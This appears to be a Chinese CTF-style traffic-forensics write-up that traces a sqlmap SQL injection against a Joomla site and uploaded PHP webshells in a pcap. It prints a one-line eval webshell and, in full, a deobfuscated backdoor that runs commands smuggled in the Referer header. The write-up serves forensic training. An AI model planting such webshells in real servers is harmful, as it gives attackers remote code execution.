一、例题1
例题1要求
(1)黑客攻击的第一个受害主机的网卡IP地址
(2)黑客对URL的哪一个参数实施了SQL注入 list
(3)第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
(4)第一个受害主机网站数据库的名字
1,黑客攻击的第一个受害主机的网卡IP地址
在wireshark中载入1.pcp数据包
在过滤栏请求http或tls协议
当然过滤器使用如下过滤更直观
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
或者筛选post
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST
下面可以看出它一直在做sql注入测试,说明202.1.1.2与192.168.1.8一定一个是攻击方一个是被攻击方
从此看出202.1.1.1是一个对外的公网IP地址,所以黑客是202.1.1.2 ,内网IP为192.168.1.8.
使用的扫描工具为sqlmap
2,黑客对URL的哪一个参数实施了SQL注入
对参数list进行了注入,由上图可以看出在list里面进行了select注入
3,第一个受害主机网站数据库的表前缀
找报错注入,先追踪流量
所以数据库前缀为ajtuc
4,第一个受害主机网站数据库的名字
最好的方式为找最后一个注入,挑选最后一次注入的payload进行url解码
所以数据库名为joomla
二、例题2
要求
1.黑客第一次获得的php木马的密码是什么
2.黑客第二次上传php木马是什么时间
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
1.黑客第一次获得的php木马的密码是什么
筛选post
看到kkkaaa.php跟进POST数据查看
比如提交的一句话木马为<?php eval($_post['123])?>
而菜刀,蚁剑或者其他工具里面存在 123=eval(base64_decode(''))
,先用eval进行解密,解密完成后把解密内容赋值给123,此时提交的$_post['123]值就为解密完的东西,这就把解密完的东西放在eval中执行
所以密码是zzz
2.黑客第二次上传php木马是什么时间
此处流量长度较长,比较异常
追踪其tcp数据流并进行16进制解码转化
把转化后的内容以php文件形式存储
稍微把混淆的代码还原一下
可以看出这里创建了一个函数create_function
此函数有安全危害,所以此流量包中上传了php木马,时间为17:20:44.248365
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
美化后的php代码为
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][4];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
容易发现referer及ACCEPT_LANGUAGE,而ACCEPT_LANGUAGE较为正常,所以木马通过HTTP协议中的Referer头传递数据